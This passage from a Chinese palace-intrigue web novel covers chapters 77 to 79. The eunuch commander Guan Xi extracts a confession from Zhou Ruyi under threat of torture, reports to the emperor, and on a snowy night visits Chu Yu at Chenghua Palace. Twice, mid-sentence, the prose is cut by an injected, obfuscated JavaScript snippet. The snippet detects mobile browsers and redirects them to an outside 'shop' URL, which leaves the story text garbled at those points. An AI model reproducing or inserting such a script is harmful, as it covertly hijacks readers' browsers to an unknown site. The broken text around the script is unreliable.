他挥了挥手,“去……把周如意带出来。” “公公!”一个随堂太监忍不住低呼。 郑保凌厉地瞪了他一眼,那太监立刻噤声,低头匆匆返身入内。 不多时,周如意被两名司礼监的低阶太监押了出来,他显然刚从被窝里被揪起,头发散乱,只穿着中衣,外面胡乱裹了件外袍,脸上还残留着睡意。 看到门外甲胄鲜明的番役和神色冷峻的关禧,他腿一软,差点瘫倒。 “周如意,”关禧看着他,声音里听不出任何情绪,“你涉嫌勾结宫嫔,泄露禁中语,散播流言,扰乱宫闱。现奉旨,拿你回内缉事厂问话。带走。” 两名番役立刻上前,一左一右架起瘫软的周如意,动作干脆利落。 周如意如梦初醒,挣扎起来,嘶声喊道:“师傅!救我!我是冤枉的!关禧!你陷害我!你不得好死!师傅——” 郑保闭上眼,不忍再看。 关禧对周如意的叫骂充耳不闻,对着郑保微微一揖:“叨扰了。郑公公,告辞。”说罢,转身,带着八名番役和被抓的周如意,以及那个人证老罪奴,朝着内缉事厂方向,迈步离开。 司礼监门前,郑保久久伫立,望着那队人马消失在宫道尽头,脸色阴沉得能滴出水来 “去,”他低声对身边心腹吩咐,声音嘶哑,“立刻给永寿宫递消息……还有,告诉底下所有人,这几日,都给我夹紧尾巴,仔细些!” 77.第 78 章 天色,彻底亮了。 内缉事厂所在的东安门北旧库房区域,比平日更显死寂,连栖在枯槐上的寒鸦都噤了声。 厂内深处,一间特意辟出的狭长屋子,便是临时刑房。 这里原是库房一角,没有窗,只有北墙上高高的几个透气孔,透下几缕天光,勉强照亮空气中浮动的尘埃。四壁是粗糙的夯土墙,刷了层暗色的灰浆,早已斑驳脱落,露出底下更暗的砖石。地面是夯实的泥地,泼过水,湿冷粘腻,散着一股混合了霉味和若有若无铁锈的怪味。 屋子中央,立着两根黑黝黝的刑架,是用手臂粗的硬木钉成,上面浸染着深浅不一的污渍,不知是汗是血还是陈年的水渍。墙角堆着些生锈的铁链,粗糙的绳索,还有几个火盆,炭是冷的,盆边铁钩上挂着的几件说不出名目的铁器,在幽光下泛着不祥的暗色。 空气冷得刺骨,比外面更甚,是那种钻入骨髓,凝滞不动的阴寒。 周如意就被绑在左边的刑架上。他的头发散乱地贴在冷汗涔涔的额角和脸颊,嘴唇冻得青紫,双手被粗糙的麻绳高高吊起,脚尖勉强点地,身上的太监常服早已被剥去,只余一身单薄的白色中衣,此刻被冷汗和地上溅起的泥水打湿,紧贴在身上,勾勒出他因恐惧而不断哆嗦的瘦削身形。 他瞪着一双布满血丝的眼睛,死死盯着门口的方向。 门被推开。 一股更凛冽的寒气涌入,随之进来的,是一道绯红的身影。 关禧走了进来。他只着了内里的绯红蟒纹常服,外罩一件玄色暗纹的厚绒披风,披风边缘缀着深色的风毛,随着他的步伐拂动。头发一丝不苟地用金簪束在头顶,露出整张白皙的脸。许是屋内光线太暗,他脸上没什么血色,唯有那双凤眼,在晦暗的光线下,亮得惊人,平静地扫过屋内的一切,最后落在刑架上的周如意身上。 他身后,跟着两名同样换了深青色厂役常服,腰佩绣春刀的番子,还有负责记录的司房太监,捧着纸笔,立在门边阴影里。 “咯吱——”门被从外面掩上,隔绝了最后一点外间的微光。 关禧缓步走到屋子中央,离刑架几步远的地方站定,解开了披风的系带。 身后的番子立刻上前,接过披风,退到一旁。 “周如意。”关禧说着,目光掠过墙角的刑具,又落回周如意脸上,“知道为什么带你来这儿么?” “关禧!”周如意用力一挣,绳索勒进皮肉,带来一阵刺痛,他嘶声道,试图用司礼监和太后的名头壮胆,声音却抖得厉害,更显得色厉内荏,“你……你滥用私刑!构陷忠良!我、我司礼监的人,岂是你能随意抓捕审问的?郑公公不会放过你!太后娘娘也不会由着你胡来!快放了我!” 关禧对他的反应早有预料,踱步到墙边,指尖拂过一根铁链,“构陷忠良?周公公抬举自己了。本督奉旨稽查宫闱流言,人证物证俱在,指向你与玉芙宫宫人私相授受,泄露禁中语,搅乱宫闱。此乃大罪,何来构陷?” “我没有!”周如意尖叫起来,眼睛瞪得几乎要裂开,“什么玉芙宫宫人?什么泄露禁中语?我根本不知道!定是有人陷害我!对……是陷害!关禧,是你!你看不惯我在司礼监,你想铲除异己!你休想得逞!” 他颠来倒去地否认,喊冤,试图将水搅浑。 关禧耐心地听着,等他喊得声嘶力竭,只剩下粗重的喘息时,才缓缓道:“看来,周公公是不见棺材不落泪了。”他转向那名捧着簿册的司房太监,“念。” 司房太监上前一步,翻开簿册,用平板无波的声音念道:“永昌五年冬,十月廿三,戌时二刻,司礼监随堂太监周如意,私出直房,于北三所夹道暗处,与玉芙宫大宫女翠浓密会,交递物件一包,状似香囊。十月廿八,申时末,二人复于御花园西侧废弃茶房后相见,交谈约半柱香。十一月初五,入夜后……” 一条条,时间,地点,人物,举动,清晰分明。虽然隐去了最核心的“对食”字眼,但如此频繁隐秘的私会,足以说明一切,且时间就在最近,恰与流言开始滋生的时段吻合。 周如意的脸色随着每一条念出而愈加惨白,嘴唇哆嗦着,再也吐不出有力的辩驳,只剩下一声声无力的“胡说”、“不是这样的”。 “这宫女翠浓,”关禧等司房太监念完,才慢条斯理地接口,“性子活泼,嘴也巧,很得徐昭容娘娘喜欢。她有个哥哥,在城南兵马司当个小旗,前些日子,好像刚凑钱买了一处小院?周公公在司礼监这些年,想必也攒了些体己。城南的房子,可不便宜。” “你……你怎么知道……”周如意脱口而出,随即意识到失言,猛地咬住嘴唇,鲜血的咸腥味在口中蔓延。 关禧眼中掠过一丝了然,更多的是一种毫不掩饰的轻蔑,“本督怎么知道不重要。”他走近两步,停在刑架前,俯身,看着周如意那双因为恐惧和秘密被揭穿而混乱不堪的眼睛,“重要的是,现在,本督知道了。太后娘娘,也知道了。” “太后……”周如意像是抓住了最后一根稻草,眼中燃起一丝希望的火苗,立刻又被关禧接下来的话浇灭。 “太后娘娘体恤陛下肃清宫闱之心,对于此等败坏宫规、传播流言之行,深恶痛绝。”关禧直起身,语气转冷,“周如意,你与宫女翠浓对食,已是触犯宫规重条。更遑论,经由你二人之口,那些关于陛下、关于后宫、关于朝局的闲言碎语,像毒瘴一样在宫里蔓延。你说,太后娘娘,是会保你这个坏了规矩又长了舌头的奴才,还是会彻查到底,以正视听?” 周如意眼中的希望彻底熄灭了,只剩下深不见底的绝望。他明白了,自己成了那颗被踢出来的棋子。太后需要给皇帝一个交代,一个够分量,又不会真正伤及核心的交代。而他,一个与玉芙宫有染,确有把柄在手的司礼监中层太监,再合适不过。既迎合了皇帝整顿宫闱的意图,敲打了徐昭容,又不会真的动摇太后自身的布局。 “是翠浓……”他喉头滚动,声音干涩,“是她总爱打听,总爱说些有的没的。我、我有时顺着她说两句,但我没传播!没有!那些流言,不是我传的!真的不是我!” 他开始下意识地撇清自己,将责任推向那个与他对食的宫女。 夫妻本是同林鸟,大难临头各自飞。 在这生死关头,那点见不得光的情谊,脆弱得不堪一击。 关禧看着他急于推卸责任的丑陋模样,眼中那抹轻蔑愈发浓重,他见过硬骨头,见过软骨头,也见过周如意这种,平日或许有几分小聪明,仗着点权势钻营,一旦事败,立刻惶惶如丧家之犬,毫无担待,连曾经亲近之人也能毫不犹豫地出卖。 这样的人,可怜,更可鄙。 “翠浓如何,自有她的去处。本督现在问的是你,周如意。流言是如何从你们这里起头,又经何人之口扩散?一字一句,给本督说清楚。若有半句虚言……” 他没有说下去,目光移向墙角那堆刑具。 周如意顺着他的目光看去,身体颤抖起来,绑缚的绳索深深勒进皮肉。对翠浓的出卖没能换来宽恕,反而让他彻底看清了自己的处境。 太后抛弃了他,关禧不会手软,那些刑具…… “我说……我说……”他崩溃了,涕泪横流,“是……是有一次,翠浓伺候徐昭容娘娘时,听到娘娘和心腹嬷嬷抱怨,说陛下……陛下久不入后宫,只……只亲近些……不三不四的人……她当闲话说给我听……我、我那天喝多了点酒,跟手底下两个小火者吹牛……就……就漏了两句……后来,后来不知怎么,话就传变了样……越传越难听……我、我真的不知道后面会变成那样啊!关提督!关公公!饶命啊!看在我如实交代的份上,饶我一命吧!” 他语无伦次,将所知的一切和盘托出,极力渲染自己的无心之失和可怜处境。 关禧听他说完,脸上没什么表情。他转过身,对司房太监颔首。 司房太监上前,快速记录下来刚才周如意供述的内容,然后捧着供词和印泥走到周如意面前。 “画押。” 周如意看着那白纸黑字,手指抖得厉害,这一押下去,就再无回头路了。但在关禧冰冷的目光和墙角刑具无形的压迫下,他还是颤巍巍地按下了手印。 鲜红的指印,像一道催命符。 关禧接过供词,扫了一眼,折叠起来,放入袖中。 “带下去,单独关押,严加看管。”他吩咐道,声音恢复了之前的平静。 两名番子上前,解下瘫软如泥的周如意,拖了出去。湿冷的地面上,留下一道蜿蜒的水渍和拖痕。 刑房内重新安静下来,只剩下关禧和记录太监。 关禧站在原地,望着那空了的刑架,和墙角幽冷的铁器,绯红的衣袖下,手指蜷缩了一下。 周如意是替罪羊,没错。但这只羊,本身也不干净。太后的算计,皇帝的意图,司礼监的怨愤,徐昭容的可能牵连,都随着这份供词,暂时找到了一个宣泄口。 而他,关禧,内缉事厂的提督太监,亲手完成了这次收割。用威吓,用情报,用对人性的洞悉,更用这身绯红蟒袍所代表皇帝特许的生杀予夺之权。 他缓缓吐出一口气,那气息在空气中凝成一小团白雾,又迅速消散。 第一步,算是迈出去了。虽然踩着的,是别人的尸骨。 “收拾干净。” 他对留下的司房太监吩咐了一句,然后转身,重新披上那件玄色披风,推开门,走进了外面逐渐明亮起来的晨光之中。 冬日的阳光惨白,没什么温度,落在旧库房斑驳的灰墙上,更显得这处新立的衙门孤兀。庭院里,那株老槐光秃秃的枝桠指着铅灰色的天空,几只寒鸦扑棱棱飞起,留下一串暗哑的啼鸣。 一夜未眠,加上清晨这番审讯,关禧精神其实已有些疲惫。 “督主,早膳备在东厢了,是刚送来的,还热着。”双喜走上前,声音比往常更低,更恭顺,眼神始终垂着,不敢乱瞟。 关禧“嗯”了一声,举步向东厢走去。那是将原先一间堆放杂物的耳房收拾出来,勉强充作他用膳歇息之处,比不得乾元殿那处院落,但也算干净。 推开东厢的门,一股暖意混合着食物的香气扑面而来。炭盆烧得正旺,一张不大的方桌上,摆着一碗熬得浓稠金黄的小米粥,一碟酱瓜,一碟香油拌的咸菜丝,还有两个白胖的馒头,正冒着丝丝热气。 极其简单的饭食,却难得地透着烟火气,在这处处透着算计的宫闱里,竟让人生出一点恍惚的暖意。 关禧在桌边坐下,拿起一个馒头,掰开,就着咸菜,慢慢吃起来。小米粥熬得火候正好,入口温润,顺着食道滑下,驱散了肺腑间残留的寒意。他吃得不快,细嚼慢咽,似乎很珍惜这片刻的安宁,又像是在整理方才审讯所得的种种信息,将它们分门别类,纳入脑中那张日益复杂的权力图谱。 双喜和贵平候在门外,屏息凝神,连廊下偶尔路过的番役都放轻了脚步。 用完早膳,关禧又饮了半盏热茶,才起身。他换上了一身更为正式的绯色蟒袍,蟒纹更加清晰狰狞,随即将绣春刀悬在腰间,刀柄上的红色流苏垂落,随着他的步伐晃动。 收拾停当,已是辰时三刻。他该去复命了。 乾元殿的书房,萦绕着龙涎香与墨香混合的气息。 窗外的日光透过细密的茜纱,在地面投下模糊的光斑。 萧衍今日独自坐在御案后,手里拿着一份奏章,有些心不在焉,指尖敲击着光滑的紫檀木桌面。 听到通传,他抬起头,目光落在进门的关禧身上,在那身崭新的绯红和腰间佩刀上停留了一瞬。 “陛下,”关禧在御案前跪下,双手将那份墨迹新鲜的供词高举过头顶,“奴才奉旨稽查流言,已有结果。司礼监随堂太监周如意,与玉芙宫大宫女翠浓对食,私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152457|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下传递禁中消息,确系流言最初散播者之一。周如意已供认不讳,画押在此。另,浣衣局相关人证也已讯问,证词相符。请陛下御览。” 他的声音平稳,没有刻意渲染审讯过程,也没有表功,只是客观陈述结果,呈上供词。 孙得禄上前,接过供词,放在御案上。 萧衍拿起那份供词展开,目光快速扫过。看到周如意和翠浓的名字,看到那些具体的时间地点,看到最后那句声泪俱下的“饶命”,他嘴角向下抿了抿,透出一丝讥诮。 “周如意……”他放下供词,指尖在那名字上点了点,“司礼监的人,果然勤勉。连后宫妃嫔身边的宫女都能勾连上,这耳目倒是灵通。” 他这话意有所指,显然不只是针对周如意个人。 “人现在何处?”萧衍问。 “回陛下,已单独收押在内缉事厂,严加看管。” “嗯。”萧衍靠向椅背,目光重新落在关禧身上,这一次,带上了几分审视的意味,“此事,永寿宫那边可有什么说法?” 关禧心领神会,皇帝这是在问太后在此事中的态度。他垂眸,谨慎答道:“奴才查办过程中,永寿宫太后娘娘体恤陛下肃清宫闱之心,曾……予以协助,提供了部分线索。昨夜,娘娘亦召见奴才,言明对此等败坏宫规、传播流言之行深恶痛绝,望奴才秉公查办,以正视听。” 他将太后提供线索和召见的事情,以一种支持陛下工作的正面姿态说出,既回应了皇帝的试探,也间接点明了太后在此事上的退让姿态。 萧衍听了,沉默了片刻,手指在扶手上敲击着,发出极有节奏的“笃笃”声。 书房内一时静极,只有更漏滴滴答答。 良久,他忽然笑了一声,那笑声很短,带着一种复杂的情绪,像是终于扳回一城的快意,又像是对某种心照不宣默契的了然。 “深恶痛绝,以正视听,”他重复着这两个词,摇了摇头,“母后总是这般顾全大局。” 他顿了顿,看向关禧的眼神里,多了一丝明确的赞许:“此事你办得利落。周如意,按宫规处置,从重。至于那个宫女翠浓,玉芙宫如今有孕,不宜大动干戈,暂且记下。徐昭容那里,朕自会敲打。” “奴才遵旨。”关禧应道。皇帝的处理方式在他的预料之中,周如意是必须抛出去给各方看的果子,翠浓和徐昭容则暂时不动,这是权衡,也是给太后和朝野一个看似公允的姿态。 “内缉事厂此番初试锋芒,还算不错。”萧衍语气缓和了些,“规矩立起来了,人也动了,差事也办了。关禧,你没让朕失望。” “谢陛下信重,奴才分内之事。”关禧再次躬身。 “不过,”萧衍话锋一转,目光锐利起来,“树欲静而风不止。周如意不过是个开始。司礼监经此一事,必生怨怼。太后那里……”他停顿了一下,没有深说,但意思已然明了,“年关将至,宫里宫外,事情只会更多,不会更少。” 他身体前倾,声音压低了些:“腊月起,宫中便要开始筹备元旦大典。一应仪程、布置、采买、赏赐,千头万绪,油水丰厚之处也多。往年这都是内官监、司设监、御用监还有光禄寺的差事,里头门道多了。” 关禧明白了皇帝的暗示。元旦大典是皇家最隆重的庆典之一,从腊月一直持续到正月初,其间涉及的银钱物资流动极其庞大,历来是各方势力伸手捞油水,安插人手,彰显存在感的绝佳时机。皇帝将此事点出,显然不是让他去负责具体筹备,那不符合内缉事厂的职能,也容易引来更大的反弹。 “你的内缉事厂,给朕盯紧了。”萧衍的语气不容置疑,“明面上的差事自有各司其职,朕不要你越俎代庖。但暗地里的眼睛,得给朕睁大。哪些人手脚不干净,哪些环节虚报冒领,哪些人借着筹备之名行钻营苟且之事……特别是,司礼监、永寿宫那边,有没有借着年节往来,行些不合规矩的勾当。朕要你暗中查访,一一记下。不必即刻发作,但账,得给朕算清楚。” “奴才明白。”关禧肃然应道。这任务比查办周如意更复杂,也更考验内缉事厂的渗透和侦察能力。监督年节筹备,等于将监察的触角伸向了内廷最核心也最敏感的利益分配领域,风险巨大,但若能做出成绩,内缉事厂的地位将真正稳固。 “嗯。”萧衍有些倦了,挥了挥手,“去办吧。周如意的处置,稍后朕会让孙得禄传旨。年节筹备的事情,你心里有数即可,暗中布置,不必声张。” “是,奴才告退。”关禧行礼,缓缓退出书房。 出了乾元殿,冬日的阳光照在身上,没什么暖意。 关禧沿着宫道慢慢走着,脑中飞速消化着方才与皇帝的对话。 太后退了一小步,交出了周如意,皇帝显然乐见其成,但并未得意忘形,反而更加警惕。年节筹备的监督任务,是信任,也是新的考验。 回到内缉事厂,何璋早已候在值房外,见到他,连忙上前,低声禀报周如意已被严密关押,厂内番役经过清晨一事,士气振作了不少,但暗地里各种揣测和不安也在滋生。 关禧听着,淡淡吩咐:“按陛下旨意,准备处置周如意。另外,从今日起,抽调精干人手,两人一组,开始熟悉光禄寺、司设监、御用监等处年节采买、支领、匠作往来的常规流程与路径。不要打听,只需观察、记录。所有记录,每晚交到档房,由你初步整理。” 何璋心神一凛,知道又有新任务,而且听起来比查流言更需小心。他连忙应下:“是,奴才这就去安排。” 关禧走进值房,在书案后坐下。 桌上摊开着京城及皇城的大致舆图,还有各部门的简要职司说明。他的目光落在舆图上标注出的光禄寺,内市,以及几处皇家作坊的位置上。 元旦大典,这确实是个浑水摸鱼的好时候。 也是他内缉事厂,真正将耳目无声无息渗透到宫廷各个角落的绝佳契机。 78.第 79 章 雪,下个没完没了。 从午后开始,起初是细碎的盐粒,敲在乾元殿的琉璃瓦上沙沙作响,到了黄昏,便成了鹅毛般的絮团落下,一层又一层,将巍峨的宫城渐渐涂抹成一片混沌的素白。 天色早早暗沉下来,廊下的宫灯次第点亮,在漫天飞雪中晕开一团团朦胧昏黄的光晕,未能驱散寒意,反倒更衬出这宫宇的寂寥。 内缉事厂的值房内,炭火毕剥。 关禧刚沐浴过,换了一身深青色家常棉袍,头发用一根简单的乌木簪子松松挽着,几缕微湿的发丝贴在颈侧。他坐在书案后,面前摊开是一张他自己绘制的密密麻麻标注了许多符号与简注的皇城布局草图,旁边还摞着几本厚厚的簿册,那是何璋带人初步整理出的关于各衙门人事,职司,历年惯例,还有些不成文规矩的摘要。 他的目光落在那张草图上,手指在永寿宫,司礼监,玉芙宫,坤宁宫几个节点之间移动。 内缉事厂设立不过旬月,架子是搭起来了,人手在血腥的立威和周如意的倒台中暂时被震慑住,也开始执行着观察与记录的指令。 光禄寺采办禽畜肉食的源头与价格浮动,司设监修缮宫灯帷幔的用工用料明细,御用监打造新年赏赐器物的匠人派系与进度,内市几个大皇商背后的靠山关系……零零碎碎的信息,汇集到档房,经过何璋粗筛,再送到他面前。 看得越多,拼图就越清晰,心也越沉。 表面看,二十四衙门各司其职,规矩森严。可水面之下,几乎每一道重要的利益链条,每一个关键的人事节点,最终都隐约指向同一个方向。 永寿宫。 司礼监自不必说,马正明虽是掌印,但几个要害位置的秉笔随堂,要么是太后早年提拔,要么家眷族人与郑氏一系有着千丝万缕的联系。内官监掌营造采买,几个肥缺上的管事,不是太后母族郑家的远亲,就是曾得力于永寿宫嬷嬷的举荐。就连看似清贵,掌管宫中教化文书的内书堂,几位教习太监的背景也与永寿宫脱不开干系。 前朝呢?那些经由司礼监递到御前的官员考绩评语,那些在年节赏赐名单上格外突出的名字,那些在流言风波中悄然维护徐昭容或是指桑骂槐的奏章背后……似乎也总能看到太后那只无形的手在轻轻拨动。 而后宫,更是一幅清晰的图谱。 皇后柳氏,出身清流世家,与太后母族武将背景并非一路,但中宫无子,地位微妙,多年来对永寿宫恭敬有加,与其说是依附,不如说是一种寻求庇护的谨慎。许多涉及后宫用度,人事的条陈,皇后往往需请示太后懿旨。 玉芙宫徐昭容,如今风头最盛,怀有龙嗣,其家族是太后一手提拔的新贵,父亲徐阶在吏部位置关键,兄长为她打点宫外事务,与永寿宫的走动频繁到几乎不加掩饰。她是太后如今在后宫最锋利也最张扬的一把刀。 其他嫔妃,或家世不显,或恩宠平平,大多选择明哲保身,对永寿宫的动向敏感顺从。 除了……承华宫,冯媛。 关禧的手指在“承华宫”三个字上停住。 冯家清贵,不涉党争,冯媛本人协理宫务,看似拥有实权,却始终将自己放在一个微妙的位置。她与徐昭容不睦,但从未正面冲突;对皇后恭敬,却也不过分亲近;对永寿宫保持着应有的礼数,却也未见特别的热络。她像是精心计算着每一步,在各方势力的夹缝中,为自己辟出一块不大却稳固的领地。她提拔了他,却也早早将他作为棋子送出,划清了界限。 冯媛,或许是这后宫里,少数几个并未完全被太后纳入掌中,甚至可能心存他念的女人。 那么……楚玉呢? 思绪到这里,像是被一根无形的丝线牵动,不受控制地飘向了那个沉静如古井的身影。 楚玉。 这个名字掠过心头时,关禧握着茶杯的手指收紧了。 他突然……很想见她。 不是出于算计,不是需要情报,甚至不是想确认什么。就是一种毫无缘由的冲动,想看看她。看看那双总是平静无波的眼睛,看看那张甚少流露情绪的脸,哪怕只是远远一眼,或许也能填补此刻心头莫名泛起对着满纸冰冷势力图生出的那点孤清。 这念头来得突兀汹涌,让他自己都怔了一下。 他蹙起眉,试图将这不合时宜的软弱情绪压下去。他是内缉事厂的提督太监,是皇帝手中见不得光的刀,他有什么资格,又有什么必要,在这样一个大雪纷飞的深夜,去惦念一个早已划清界限的旧宫人? 可是……想见她的渴望,像这窗外愈下愈急的雪,纷纷扬扬,盖过了理智的劝阻。 以他现在的身份,夜晚能进后宫吗? 规矩上,后宫夜间下钥,严禁外男无故出入。但他如今是内官监掌印,提督内缉事厂,若有紧急公务或奉特旨稽查,是可以通融的。守门的侍卫太监……看到他的腰牌和这身气势,多半也不敢硬拦。 风险自然有。深夜擅入后宫,尤其去的是冯昭仪的承华宫,若被有心人拿住做文章,又是麻烦。但他此刻,竟有些顾不得了。 说干就干。 关禧放下茶杯,起身。他走到衣架前,选了一件玄色暗纹的厚绒披风,戴上兜帽,遮住了大半面容。腰间,那柄绣春刀悬着,刀柄的红色流苏隐在披风褶皱里。 “双喜。” 守在门外打盹的双喜一个激灵醒来,连忙推门进来:“督主?” “去叫贵平,再点一个机警稳重的番子,要嘴紧的。备灯,随我出去一趟。” “这么晚了,督主您这是要去?”双喜看着外面漆黑的雪夜,有些迟疑。 “公务。” 双喜不敢再问,应了声“是”,快步退出去安排。 不多时,贵平和另一个叫刘栓的番子被叫了来。刘栓二十出头,原在御马监当差,手脚麻利,人看起来也稳重,是关禧近来比较看好,隐隐有提拔之意的一个。两人都换上了深青色的厂役常服,外罩挡雪的油衣,腰佩绣春刀。贵平手里提着一盏六角玻璃气死风灯,灯罩擦得透亮,光线刻意调暗了些。 “走。”关禧拉低兜帽,率先走进了漫天风雪中。 三人穿行在宫道。雪下得正紧,扑打在脸上,冰冷刺骨。脚下积雪已没了脚踝,踩上去发出“咯吱咯吱”的闷响。贵平和刘栓一左一右跟在关禧身后半步,尽力为他挡去些侧面的风雪,手中的灯笼在雪幕中摇晃,照亮前方一小片模糊的路面。 沿途遇到两拨巡夜的侍卫,远远看见这三人行色匆匆,披甲佩刀的架势,尤其是为首那人即便裹在厚重披风里也透出的不凡气度,都识趣地停下脚步,垂首避让,待他们过去,才敢抬头望一眼那消失在雪夜中的背影,低声议论两句。 从乾元殿区域前往西六宫的承华宫,要穿过好几道宫门。越往里走,宫禁越森严,守门的太监侍卫品阶也越高。 到了通往西六宫的隆福门前,两名穿着灰蓝色棉甲,手持长戟的侍卫拦住了去路。门檐下挂着的气死风灯被风吹得晃动,光影在他们冻得发红的脸上明明灭灭。 “宫门下钥,何人夜行?”一名侍卫按着戟杆,沉声喝问,目光警惕地扫过关禧三人。 贵平上前一步,举起手中的灯笼,照亮了自己腰间的厂役腰牌,以及关禧抬起露出半截的玄色披风下那更为精美的内官监掌印太监腰牌。 “内缉事厂,提督关禧,奉旨稽查公务。”贵平的声音在风雪中有些抖,但努力维持着镇定。 “关禧?”那侍卫显然听过这个名字,脸色变了变,借着灯光仔细打量被兜帽遮住大半脸的关禧。虽然看不清全貌,但那挺直的鼻梁,紧抿的嘴唇,以及周身那股沉静中透着威压的气场,做不得假。何况,内缉事厂提督太监深夜出行,若非真有要务,谁敢冒充? 另一名侍卫比较老成,犹豫了一下,躬身道:“关提督,不是小的们不放行,只是后宫夜禁规矩森严,若无陛下或皇后娘娘特旨,或是司礼监、敬事房的明文手令,这……” 关禧抬起手,兜帽往后褪下少许,露出整张脸。灯光雪影交错,映亮了他的面容。肤色是久不见日光的冷白,被寒风一激,更添了几分玉质的剔透感。眉眼清晰如墨画,那双凤眼在昏暗光线下,瞳仁显得格外幽深,平静地看向守门侍卫,没有怒意,却有种无形的压力。 “本督奉的是密旨,查的是机密。你既要手令,可以。本督此刻便在此等候,你速去乾元殿孙得禄副总管处,或去司礼监马正明掌印处,取一道允许内缉事厂提督太监关禧今夜入后宫稽查的手令来。只是耽误了陛下交办的差事,这后果……” 他没有说下去。 两个侍卫额角冒了汗。去乾元殿或司礼监?这深更半夜,风雪交加,他们哪敢为了拦一个明显不好惹的提督太监去惊动那些大珰?更何况,若真是密旨,他们这一阻拦一禀报,走漏了风声,吃罪得起吗? 两人对视一眼,都在对方眼中看到了退缩。 那老成些的侍卫咬了咬牙,侧身让开,躬身道:“不敢耽误提督公务。提督请。”说着,示意同伴一起合力,推开了隆福门侧边一扇小门。 门轴发出“嘎吱”一声悠长的呻吟,在风雪夜里格外刺耳。 关禧不再多言,拉好兜帽,迈步跨过了那道门槛。贵平和刘栓紧随其后。 穿过隆福门,便算是正式进入了后宫范围。夜色更深,雪更大,宫殿的轮廓在漫天飞雪中显得模糊遥远,唯有少数几处宫殿还亮着零星的灯火。 承华宫位于西六宫偏北,不算最中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152458|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,但殿宇规制不小。关禧对这里的路径很熟悉,即便在这样的大雪夜,他也能凭着记忆和远处宫殿的轮廓,准确地朝着那个方向走去。 越靠近承华宫,他的脚步越慢了些,心跳在寂静中显得愈发清晰。披风下的手指蜷缩,触及绣春刀冰凉的刀柄。 他来做什么?真的只是看一眼? 承华宫的宫门已然关闭,门前挂着两盏昏红的灯笼,在风雪中摇晃,将“承华宫”三个字映得忽明忽暗。值守的太监缩在门房檐下,抱着手臂跺脚,听到脚步声,警惕地抬头望来。 当看到风雪中行来的三人,尤其是为首那个即便看不清脸也气势慑人的身影时,值守太监吓了一跳,连忙跑下台阶,在雪地里躬身:“给、给公公请安!不知公公深夜驾临,有何贵干?”他认不出关禧,但看服色气度,绝非常人。 关禧停下脚步,这次他没有让贵平上前,自己开口道:“内官监掌印,关禧。有紧急公务,需面见冯昭仪娘娘,或……青黛姑娘。速去通传。” 他直接报出了冯昭仪和楚玉的名字。 值守太监听到“关禧”两个字,浑身一哆嗦,头埋得更低。关禧!那个新近崛起,手段狠厉,提督着令人闻风丧胆内缉事厂的关公公,他怎么会深夜来此?还要见青黛姑娘? “这……关公公,夜深雪大,娘娘怕是已经歇下了……青黛姑娘她……”值守太监结结巴巴,不敢答应,又不敢拒绝。 “去通传。”关禧重复了一遍,语气平淡,却让那太监感到一阵寒意,比风雪更甚。 “是、是!奴才这就去!公公稍候!”值守太监不敢再犹豫,转身拍响了宫门,对着里面急切地低语起来。 宫门开了一条缝,里面的人听了通传,显然也惊呆了,片刻后,门缝扩大,一个身影匆匆向宫内跑去。 关禧就站在承华宫门前的雪地里,一动不动。雪花落在他玄色的披风上,很快积了薄薄一层,又顺着光滑的织物滑落。兜帽边缘的风毛沾了雪粒,在灯光下闪烁着细微的冷光。贵平和刘栓立在他身后,按在刀柄上的手,显示着他们的警惕。 时间在等待中被拉长。风雪呼啸,宫灯摇晃。 不知过了多久,也许只是一盏茶,也许更久。 承华宫深处,有了一点动静。不是正殿方向,而是侧边的回廊。一盏橘黄色的灯笼,在漫天皆白的雪幕中,像一粒温暖的萤火,缓缓飘来。 提灯的人,穿着一身素净的淡青色棉袍,外面罩着同色的厚缎比甲,头发简单地绾着,没有任何首饰。 是楚玉。 她走得不快,步伐却很稳,灯笼的光晕将她周身一圈飞舞的雪花映成金色,也照亮了她沉静的面容。她的脸在光晕里显得有些模糊,但关禧还是一眼就认出了那双眼睛,平静深邃,如他记忆中一样,仿佛再大的风雪,也无法在其中掀起波澜。 她走到宫门内,隔着那道门槛,停下了脚步。目光抬起,落在门外雪地中那个几乎与夜色融为一体的玄色身影上。 四目相对。 风雪在两人之间呼啸而过,卷起地上的雪沫。 楚玉的眼神,在最初的平静审视后,极细微地波动了一下,像是冰封的湖面被投入了一颗极小的石子,漾开涟漪,随即又恢复了无波。 关禧隔着风雪,看着她。她似乎清减了些,下巴的线条更尖了,脸色在灯笼暖光映照下,依然显得有些苍白。淡青色的衣袍在冬夜里显得单薄,但她站得笔直,像是感觉不到寒冷。 他想说点什么,却发觉喉头有些发紧。所有事先想好的公务借口,在此刻显得如此苍白可笑。 最终,是楚玉先开了口。她的声音穿过风雪,清晰平稳,听不出任何情绪:“关提督,深夜雪重,不知驾临承华宫,有何贵干?” 她称呼他“关提督”,用的是他如今最正式,也最显疏离的官衔。 关禧的心,像是被这称谓刺了一下。他吸了一口气,冰冷的空气涌入肺腑。 “路过。”他听到自己的声音响起,比他预想的更干涩些,“雪大,想起旧日曾在承华宫当差,顺道……来看看。” 这个理由,拙劣得连他自己都不信。 楚玉没有说话。 半晌,她侧身,让开了宫门内的通道,语气平淡:“提督若不嫌简陋,可进值房喝杯热茶,驱驱寒气。” 她没有邀请他进正殿或她的住处,只说是值房,一个介于公私之间的地方。 